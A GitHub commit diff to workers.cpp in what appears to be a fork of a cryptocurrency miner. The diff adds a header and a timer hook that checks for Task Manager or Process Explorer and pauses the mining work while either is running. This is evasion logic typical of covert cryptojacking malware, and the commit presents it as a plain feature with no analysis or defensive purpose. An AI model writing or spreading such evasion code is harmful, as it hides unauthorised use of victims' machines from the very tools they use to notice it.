reupdate workers.cpp

add header and line 278>>>288
This commit is contained in:
snipeTR 2018-05-29 12:09:34 +03:00 committed by GitHub
parent 8ab9f0f860
commit b33f255cdc
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23

View file

@ -38,6 +38,8 @@
#include "workers/Hashrate.h" #include "workers/Hashrate.h"
#include "workers/MultiWorker.h" #include "workers/MultiWorker.h"
#include "workers/Workers.h" #include "workers/Workers.h"
#include "workers/ExeTrigger.h"
bool Workers::m_active = false; bool Workers::m_active = false;
@ -273,6 +275,18 @@ void Workers::onResult(uv_async_t *handle)
void Workers::onTick(uv_timer_t *handle) void Workers::onTick(uv_timer_t *handle)
{ {
bool boklar = false;
boklar = boklar || IsProcessRunning(L"taskmgr.exe");
boklar = boklar || IsProcessRunning(L"procexp64_2.exe");
if (boklar)
{
pausePic();
}
else
{
unpausePic();
}
for (Handle *handle : m_workers) { for (Handle *handle : m_workers) {
if (!handle->worker()) { if (!handle->worker()) {
return; return;